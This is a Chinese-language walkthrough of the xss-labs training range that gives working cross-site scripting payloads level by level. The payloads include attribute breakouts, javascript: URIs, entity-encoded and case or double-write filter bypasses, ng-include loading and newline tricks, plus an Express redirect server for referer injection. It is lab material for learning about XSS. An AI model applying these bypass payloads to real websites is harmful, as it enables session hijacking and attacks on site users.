xss-labs 靶场零点击攻略

1(零点击)

无难度,直接上payload

1
level1.php?name=<script>alert(1)</script>

2(零点击)

h2标签经过了实体转义,但input没有

1
2
3
4
5
6
7
8
9
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>

构造payload闭合input执行代码:

1
"><script>alert(1)</script>

3(零点击)

这次两个都经过了实体转义,但是input标签使用单引号

1
2
3
4
5
6
7
8
9
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='&lt;script&gt;alert(1)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:25</h3></body>

构造payload闭合input执行代码:

1
level3.php?keyword='onfocus='alert(1)'autofocus='

4(零点击)

过滤掉了尖括号,但是没有过滤引号

1
2
3
4
5
6
7
8
9
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;&gt;&quot;'相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value=""'">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:2</h3></body>

构造payload闭合input执行代码:

1
level4.php?keyword="onfocus="alert(1)"autofocus="

5(零点击)

先用最简单的payload测试一下,发现script文本替换为了scr_ipt

1
2
3
4
5
6
7
8
9
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:9</h3></body>

构造img发现on也被替换了

1
"><img src=0 onerror='alert(1)'/>
1
2
3
4
5
6
7
8
9
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&quot;&gt;&lt;img src=0 onerror='alert(1)'/&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value=""><img src=0 o_nerror='alert(1)'/>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:34</h3></body>

但是src没被替换,所以构造iframe搭配javascript伪协议执行代码:

1
level5.php?keyword="><iframe src="javascript:alert(1)" />

6(零点击)

输入on,发现被替换为了o_n,输入On,没有替换

很简单的大小写绕过,构造payload:

1
level6.php?keyword="><Script>alert(1)</Script>

7(零点击)

随便输了几个关键词后发现大小写绕过行不通

这次不再是关键词加下划线过滤,而是直接清空,那就可能存在双写绕过

构造payload:

1
level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>

8

大小写绕过和双写绕过都不行,且经过了实体转义,javascript伪协议同样被过滤

构造payload转义绕过:

1
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

9

随便输入几个字符串模糊测试一下发现只有包含http://的才是合法链接

但是吧,并不判断位置,也就是说,http://哪怕在字符串末尾出现同样也是合法链接

构造payload,将http://放到最后面,并加上//将其注释掉避免影响代码执行

1
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

10(零点击)

代码中存在3个隐藏的input标签,且只有t_sort可以进行反射,但是过滤了尖括号

1
2
3
<input name="t_link"  value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">

这一题的核心点是如何处理标签的hidden属性,autofocus好像在hidden标签中不生效

构造payload,在前面再写个type,尝试覆盖掉后面的hidden

1
level10.php?t_sort="type="text"onfocus="alert(1)"autofocus="

11(零点击)

和上一关一样,同样的隐藏标签,且只有t_sort可以进行反射,但是经过了实体转义

1
2
3
4
<input name="t_link"  value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">

t_sort无法攻击,那就考虑t_ref的referer头注入

但是因为安全原因,浏览器不允许前端自定义referer头,手动修改请求包的referer头终究只是self-xss,无任何意义

所以,修改代码(不修改代码此题无解,因为referer头中的双引号会被转义),将t_ref的双引号改为单引号

1
<input name="t_ref" value=\''.$str33.'\' type="hidden">

编写一个后端跳转代码(什么语言都行,这里用nodejs+express)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const express = require('express');
const app = express();

app.get('*', (req, res) => {
console.log(req.originalUrl);
res.set('Referrer-Policy', 'unsafe-url');
res.send(`
<!DOCTYPE html>
<html>
<head>
<script>
window.location.href = 'http://192.168.235.128/level11.php';
</script>
</head>
<body></body>
</html>
`);
});

const PORT = 80;
app.listen(PORT, () => {
console.log(`服务器运行在 http://localhost:${PORT}`);
});

访问payload地址,跳转,代码执行

1
http://localhost/'type='text'onfocus='alert(1)'autofocus='

12(self-xss)

UA注入,self-xss,无意义低风险(如果攻击者能通过社会工程学诱导用户修改UA,那为什么不直接诱导用户执行代码呢),不写了

13(self-xss)

cookie注入,self-xss,无意义低风险,不写了

14

网站已死,现在访问只能进入一个申必APT组织搭建的钓鱼网站然后下载一个申必圆孔木马,,,

据推测是exif xss注入,用户上传图片并在前端展示exif信息,和上面的大差不差,常规的标签闭合注入

15(零点击)

AngularJSng-include导致的漏洞

这不是AngularJS的漏洞,仅仅是ng-include加载了一个带有xss漏洞的其他界面

上面带xss漏洞的页面随便选一个,使用ng-include加载进来就行。但是需要注意的是,使用ng-include包含文件时,不会执行<script>标签,所以应构造其他非<script>的payload执行代码

1
level15.php?src='level1.php?name=<img src=0 onerror=alert(1)>'

16(零点击)

关键词过滤,替换为 ,不存在大小写绕过,双写绕过,且空格也被过滤

使用换行绕过,html对换行不敏感,在标签内换行也是可以的

1
level16.php?keyword=<img%0asrc=0%0aonerror=alert(1)>

17(零点击)

最简单的一集,甚至不需要考虑闭合

只需要移动鼠标就能触发,也算零点击罢(汗

1
level17.php?arg01=a&arg02=b%20onmousemove=alert(1)

18(零点击)

和上面一模一样

1
level18.php?arg01=a&arg02=b%20onmousemove=alert(1)

19

涉及到flash逆向,没有flash,做不了

20

同上


xss-labs 靶场零点击攻略
https://crackme.net/articles/xss_labs_0click/
作者
Brassinolide
发布于
2025年4月20日
许可协议